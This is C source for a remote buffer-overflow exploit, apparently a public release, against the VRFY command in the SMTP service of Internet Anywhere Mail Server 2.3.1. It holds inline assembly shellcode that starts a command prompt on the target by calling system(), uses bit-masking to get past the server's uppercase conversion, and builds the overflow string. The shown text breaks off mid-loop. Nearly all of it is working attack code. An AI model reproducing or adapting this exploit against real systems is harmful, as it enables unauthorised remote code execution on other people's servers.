// iamexploit.c - by Arne Vidstrom - http://www.bahnhof.se/~winnt/ // // This exploit code starts the Command Prompt on a remote computer // running Internet Anywhere Mail Server version 2.3.1, build 10020. // However, it is very dependent on different DLL versions installed // on the server computer. This code exploits a vrfy buffer overflow // in the SMTP part of the mail server. // #include #include #include #include #define sockaddr_in struct sockaddr_in #define sockaddr struct sockaddr // Server IP address char ipaddr[25] = "xxx.xxx.xxx.xxx"; // Server port, the default is 25 unsigned short port = xxxxx; // Payload machine code size and location DWORD stop, start, size; // The overflow string unsigned char s[251]; // This function contains the payload assembly code and some extra // code to support dynamic loading of the payload BOOL createPayload(void) { DWORD point1, point2; __asm { // First checkpoint for code location MOV point1, $ JMP AFTER // Exploit payload starts here ->> // Set up a new stack frame, but there's no need to push EBP // since we'll never return from here MOV EBP, ESP // Manipulate the null terminated string "cmd" into ESI // and push it onto the stack - we can't just move it into // memory with three MOV BYTE PTR's because the machine code // they generate will be destroyed when the mail server // convert the string to uppercase MOV ESI, 0FF646d63h AND ESI, 0F0FFFFFFh AND ESI, 0FFFFFFFh PUSH ESI // Manipulate the system() function's entry address into ESI // the same way as we did with the "cmd" string and push it // onto the stack too - 7801C1A0h only works for version // 5.00.7128 of the DLL msvcrt.dll MOV ESI, 7801C1A0h MOV EBX, 20FFFFFFh AND EBX, 0FF0F0F0Fh AND EBX, 0FFF0F0F0h OR ESI, EBX AND ESI, 0FFFFDFFFh PUSH ESI // Load the address to the "cmd" string into EAX and push it // onto the stack for use by system() below LEA EAX, [EBP-04h] PUSH EAX // Call system() which starts the Command Prompt CALL DWORD PTR [EBP-8h] // Infinite loop - the server won't crash when the Command // Prompt is closed, and it will also continue responding // to more clients, though CPU usage will be 100% LABEL1: JMP LABEL1 // <<- Exploit payload ends here // Second checkpoint for code location AFTER: MOV point2, $ } // Calculate payload size and location size = point2 - point1 - 12; start = point1 + 12; stop = point2; // Payload size vs. server buffer size overflow check if (size > 75) return FALSE; else return TRUE; } // Create the vrfy overflow string void createOverflow(void) { unsigned char payload[236]; unsigned char fillout[236]; unsigned char ret[5]; unsigned int i; unsigned long temp; unsigned char *p; // Create a string containing the payload temp = start; for (i=0; i